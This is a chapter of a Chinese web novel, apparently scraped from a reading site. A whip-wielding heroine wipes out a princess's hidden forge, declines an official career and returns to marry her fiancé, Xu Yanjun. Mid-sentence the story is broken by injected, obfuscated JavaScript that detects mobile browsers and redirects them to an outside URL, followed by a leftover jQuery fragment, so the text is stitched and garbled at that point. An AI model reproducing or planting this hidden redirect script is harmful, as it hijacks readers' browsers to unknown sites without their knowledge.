程芫一马当先冲进人群中,长鞭触碰之人皆抽搐着倒地。
她犹如杀神一般,所过之处无人生还。
那些守卫见状心下胆怯想逃,却被脚底的树藤不经意绊倒在地,动作间反倒将自己绑了个结实。
待一切结束时,工坊内的所有人都被吓破了胆子,无一人敢有异动。
程芫着人清点人数,又派人下山去迎郑洛初上山。
那些兵卒看向她的眼神中带着狂热。
此番行动超乎意料的顺利,郑洛初在工坊内找到牵扯背后之人的证据时,面上的笑怎么也止不住。
“阿芫,此番多亏了你。”
程芫擦去眼尾溅上的血迹。
自穿越到这个世界,不再面对毫无理智的丧尸和道德沦丧的恶人,她从未如今日这般畅快的杀人。
极致的屠戮勾起她隐藏在心底的澎湃杀意,程芫闭了闭眼,掩住眼底的血腥。
不提郑洛初带着确凿证据回京,引发的滔天巨浪。
程芫一连在京中各处逛了许久,才勉强将心中那股想要杀人的冲动压下来。
只是她身为局外人,也明显察觉到京中的紧张氛围。
菜市口每日都有被拉去砍头的人,东城权贵云集的坊市,几乎每日都有抄家下狱之事。
程芫倒是没去看热闹,她买了许多新鲜的吃食装进空间,准备带回去给徐言君。
在京中呆了有半个月左右,还不知徐言君在陈府是否受了委屈。
陈府。
徐言君独自躺在前院程芫曾躺过的椅子上,怔怔望着天空。
耳边传来一阵脚步声。
“我就知道你在这里。”
徐言君没有理会。
陈松乔撇撇嘴在一旁坐下:“我娘传信说近日京中氛围紧张,让我先不要回京。”
徐言君眼眸微动:“京中有什么新鲜事?”
陈松乔咬了咬牙,还是道:“我娘说,四殿下手下一名小将十分勇猛,带着五千军队深入山林,将六皇女私下铸造铁器的工坊连根拔起。”
见徐言君无动于衷,陈松乔补了句:“那小将擅长使鞭。”
徐言君“蹭”的坐起身看他:“是阿芫?”
陈松乔恼道:“我怎的知晓,我又不在京中。”
徐言君又躺回去,喜滋滋道:“一定是阿芫,只有她才这般厉害。”
他又皱眉:“不知阿芫可否受伤,当初明明说护送四皇女回京便来接我,怎的又去带兵打仗?”
陈松乔幸灾乐祸:“阿芫姐姐不要你了,她要在京中做将军,娶贵子。”
徐言君一动不动:“阿芫才不会不要我,她答应我的就一定会做到,不过阿芫确实不会要你,你就死心吧。”
陈松乔“呸”一声:“我也不要她,她这般冷酷无情,丝毫不怜香惜玉的女子,我才不要嫁给她。”
徐言君满意点头:“你最好一直这般想。”
陈松乔沉默下来,半晌后,他低声道:“你到底如何做到的?能让阿芫姐姐对你如此不一般。”
徐言君得意洋洋:“告诉你也学不会。”
陈松乔气道:“我才不学,无非就是些狐媚子手段,程芫这个肤浅的女人,你这么丑都看得上,就是瞎了眼。”
徐言君拉下脸起身看他:“你再辱骂阿芫,我就揍你。”
陈松乔心中憋闷,跺了跺脚跑出院子。
徐言君冷哼一声,躺回椅子上,喃喃道:“阿芫,快回来吧,我在等你。”
“阿嚏。”
程芫打了个喷嚏,将手中食盒扔进空间,朝皇女府走去。
郑洛初刚下朝回府,便听程芫提出离京一事。
“阿芫真的不考虑留下来?以你的能力,日后必能拜将,封侯也无不可。”
程芫摇头:“非我之愿。”
郑洛初只得应下,她从袖中掏出一块令牌。
“这是我当初答应你的东西,却并非虚设,而是实打实的武将官职。”
程芫接过上面刻有“威武校尉”的令牌。
“威武校尉乃是正六品官职,不过是虚衔,不用阿芫你领兵作战,有这个官职,可领禄米职田,更可见官不跪。”
郑洛初笑道:“想必以阿芫的性子,若哪日遇到县官府官,定是不会折腰的。”
程芫真心实意道:“多谢殿下。”
郑洛初又给程芫准备了些银票地契,程芫没有推拒。
二人一同用过午饭,程芫便起身告辞,一人一马离开京城。
回去的一路没有旁人,程芫丝毫不停歇,几乎跑死□□的马匹,只用五天时间便到了临关县。
回到徐府时,下人恭敬的将她迎进府内。
程芫没有停步,径自朝着后院的方向走去。
有侍女猜出她的意图,小声提醒道:“程小姐,这个时辰,徐公子应是在前院您曾住过的院子。”
程芫脚步一顿,朝另一边走去。
她挥退身后跟着的侍从,走进院内,一眼便看到躺椅上闭眼睡着的徐言君。
连木见着她,惊喜的想要出声,又在程芫的示意下闭上嘴,轻手轻脚离开院子。
程芫走上前,看着比记忆中消瘦些许的面容,眼中闪过疼惜。
她俯身将人打横抱起。
徐言君睡梦中突然腾空,下意识伸手揽上程芫的脖颈。
他迷迷糊糊道:“阿芫,你回来了。”
程芫“嗯”了一声,将人抱进屋内。
徐言君发觉今日的梦有些过于真实。
他缓缓睁开眼,才发现自己真的被人抱在怀中。
熟悉的气息将他包裹,徐言君不用抬头看便知是谁。
他将头埋进程芫肩上,眼泪无声无息浸湿程芫的衣衫。
“莫哭,我回来了。”
徐言君哽咽出声。
他小声道:“阿芫,我好想你。”
“我知道。”
“阿芫,你骗我,你明明说很快便回,这都已经二十六天了,不是很快。”
“我错了。”
“阿芫,你还想要娶我吗?”
“娶,我们回村便成亲。”
徐言君笑着落泪:“好,那我们明日便回去。”
“好。”
程芫将人放到榻上,脱下满是灰尘的外袍后将人搂在怀中:“睡吧,我在。”
徐言君握着她的手,小声道:“阿芫也一起睡。”
程芫这一路没有歇息,在看到徐言君的那一刻,才后知后觉感觉到累。
她浅浅应了声,没过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671915|168967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一刻钟便已沉沉睡去。
醒来时,程芫有种不知今夕何夕的恍惚感。
她垂眸看向怀里的徐言君。
对方精神奕奕的睁着双大眼睛看她,见她醒了,立刻软声道:“阿芫,你睡了好久。”
程芫闭了闭眼,将人揽得更紧。
徐言君拽着她的衣襟:“阿芫,你身上好臭,快起来洗洗用饭。”
程芫故意在他身上蹭:“你跟我睡了这般久,你不臭么。”
徐言君笑出声:“阿芫你好坏。”
程芫拍拍他的屁股:“之前整日说我好,现在又说我坏,你可真善变。”
徐言君笑盈盈道:“阿芫平日里都好,只在榻上坏。”
程芫轻笑:“好坏都由你来说了。”
她从床上起身,外间下人早便备好了热水,程芫洗了个澡,才觉整个人活了过来。
用饭时,徐言君腻在她身上不肯下来,程芫纵着他,抱着人吃完了一顿饭。
陈书艺得到消息赶来时,便看到如连体婴儿般的两个人。
徐言君毫不在意陈书艺的目光,依旧紧紧贴着程芫不放。
程芫任他贴着,与陈书艺简单说了一番京中情形,陈书艺一脸无语的告辞离开。
程芫睡了一天一夜,用过饭已是入夜,两人洗漱一番又躺回床塌。
程芫将人抱在怀里,有一搭没一搭的与他闲聊。
徐言君对程芫在京中的一切都十分感兴趣,见程芫不嫌烦,便低声细细询问。
程芫几句话将带兵上山一事略过,只与他讲京中的见闻。
徐言君却听得心惊胆战。
他紧紧抱着程芫的胳膊:“阿芫,还好你没受伤。”
程芫轻笑:“不相信我?”
“我当然相信阿芫,”徐言君蹭了蹭她的脖颈:“可我还是担心阿芫。”
程芫按住他的脑袋,深埋心底的阴郁杀意随着他一声声关心逐渐松动。
她转移话题:“不想知道徐府的事?”
徐言君声音一顿:“阿芫去徐府了?”
“没有。”
徐言君松了口气。
“不过徐尚书的处境并不好,二皇女在朝上被申饬,闭门思过,户部账目上出了个大窟窿,徐尚书正焦头烂额。”
徐言君抬起头:“我娘她会有事吗?”
程芫摇头:“若是她能尽早看清现实,摆正位置,或许不会有大问题,但要是现在这般一意孤行下去,结局难料。”
有赵笙这个带系统的人在,四皇女已占尽先机。
徐言君慌乱起身。
他是男子,不论前世还是这一世都从未接触过朝堂的风波,对其中的危机毫无感知。
他重生后,便将前世导致徐家被抄家的罪魁祸首透漏给他娘,她娘也已查出对方底细。
只是涉及到朝中事宜,他却是毫无头绪。
程芫拉起被子给他盖好:“要回京吗?”
徐言君揪着程芫的衣襟,神色茫然。
程芫垂眸:“我送你回京。”
徐言君下意识摇头:“不行,现在还不可以回京。”
他仰头看着程芫:“阿芫,我们成亲吧。”
程芫在他急切与期待的目光中,微微颔首:“好。”